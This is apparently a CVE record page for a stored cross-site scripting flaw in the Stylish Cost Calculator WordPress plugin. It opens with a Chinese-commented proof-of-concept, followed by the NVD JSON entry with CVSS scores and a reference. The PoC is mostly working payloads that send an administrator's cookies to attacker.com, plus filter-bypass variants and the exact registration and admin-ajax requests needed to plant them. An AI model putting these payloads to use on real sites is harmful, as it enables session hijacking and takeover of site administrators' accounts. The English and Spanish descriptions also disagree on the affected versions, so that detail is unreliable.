CVE-2026-24630

// CVE-2026-24630 PoC - Stored XSS in Stylish Cost Calculator // Author: [email protected] // 1. 首先创建一个WordPress账户（低权限如subscriber） // 2. 登录后导航到包含Stylish Cost Calculator的页面 // 3. 在计算器输入字段中注入以下XSS payload: const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // 或者使用事件处理器绕过过滤: const altPayload = '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> '; const altPayload2 = '<svg/onload=fetch("https://attacker.com/steal?c="+btoa(document.cookie))>'; // 4. 提交表单或保存计算器配置 // 5. 当管理员访问该页面时，payload会自动执行 // 6. 攻击者服务器会接收到管理员的Cookie // 完整攻击流程: // Step 1: 注册低权限WordPress用户 // POST /wp-login.php?action=register // username=attacker&[email protected] // Step 2: 注入XSS payload到计算器字段 // POST /wp-admin/admin-ajax.php // action=stylish_cost_calculator_save&calculator_id=1&field_name="<script>alert(document.domain)</script>" // Step 3: 等待管理员访问触发XSS // 恶意JavaScript会将管理员Cookie发送到攻击者控制的服务器

{"cve": {"id": "CVE-2026-24630", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:22.387", "lastModified": "2026-04-23T15:36:55.773", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Design Stylish Cost Calculator stylish-cost-calculator allows Stored XSS.This issue affects Stylish Cost Calculator: from n/a through <= 8.2.9."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Design Stylish Cost Calculator stylish-cost-calculator permite XSS Almacenado. Este problema afecta a Stylish Cost Calculator: desde n/a hasta &lt;= 8.1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/stylish-cost-calculator/vulnerability/wordpress-stylish-cost-calculator-plugin-8-1-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}